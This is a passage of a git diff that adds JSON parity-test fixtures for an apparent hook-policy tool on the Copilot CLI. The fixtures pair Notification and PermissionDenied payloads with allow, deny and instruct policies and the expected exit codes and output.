"decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..85e4a51e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..01db2720 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7de9c116 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7010b5e4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9e192632 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5a721672 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..05f85c7f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d2e67101 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b4c15e57 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c7e66390 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..79652c13 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9656658e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bd0129a9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..db6ceff9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cefb453a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3532ebe1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ad703a4f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..96100f36 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..acd9d0c5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b7f5d356 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + 